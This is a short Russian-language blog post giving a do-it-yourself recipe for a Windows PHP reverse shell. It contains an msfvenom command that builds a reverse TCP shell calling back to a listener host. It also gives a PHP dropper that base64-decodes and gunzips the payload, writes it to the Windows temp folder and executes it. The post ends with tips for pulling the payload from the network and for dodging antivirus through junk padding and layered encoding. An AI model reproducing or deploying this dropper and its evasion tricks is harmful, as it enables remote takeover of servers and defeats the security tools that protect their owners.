Saturday, January 4, 2020

Сделай сам: Windows PHP reverse shell

Бывают странные люди, запускающие стек Apache-MySQL-PHP на Windows (т.е. LAMP --> WAMP). В таких случаях стандартный реверсивный PHP shell не подойдет, а использовать этот страшно, так как во-первых, он, скорее всего, без изменений не будет работать - в вызове system надо указать полный путь, а, во-вторых, меня беспокоит что там автор закодировал в $payload... Поэтому, проще все сделать самостоятельно, особенно с учетом простоты реализации.

1. Сначала сделаем нагрузку:
msfvenom -p windows/shell/reverse_tcp LHOST=10.211.55.21 LPORT=9001 -f exe >s4.exe

2. Хорошенько ее сожмем (можно сжать и на лету в п.1, как удобнее):
gzip --best s4.exe

3. Создадим PHP скрипт следующего содержания (s3.php):
<?php

header('Content-type: text/plain');

$payload = "";

$evilCode = gzdecode(base64_decode($payload));
$cmd ="C:\\windows\\temp\\svs_shell.exe";

$file = fopen($cmd, 'wb');
fwrite($file, $evilCode);
fclose($file);

$output = system($cmd);
                                    
?>

3. Закодируем нашу нагрузку в BASE64 и результат подпишем в конец созданного скрипта:
base64 -w 0 s4.exe.gz >>s3.php

4. Отредактируем скрипт так, чтобы последняя строчка BASE64 оказалась в переменной $payload:
...
$payload = "<здесь наш длинный BASE64>";
...
В редакторе vi это сделать очень просто: D - скопирует в буфер и удалит длинную строчку нагрузки, P - вставит с нужного места.

Возможна масса усовершенствований:
1. нагрузку не тащить с собой, а загружать из сети
2. нагрузку разбавить мусором и собирать по частям - это поможет обойти антивирусы (в моем случае стоял Symantec - он не среагировал и без этого трюка, аналогичное поведение продемонстрировал Defender)
3. Сделать сложную комбинацию сжатий и кодирований в BASE64, включая применение архивов с паролями - это тоже может оказаться полезным в обходе всяческих систем безопасности
4 ...

Удачи!


No comments: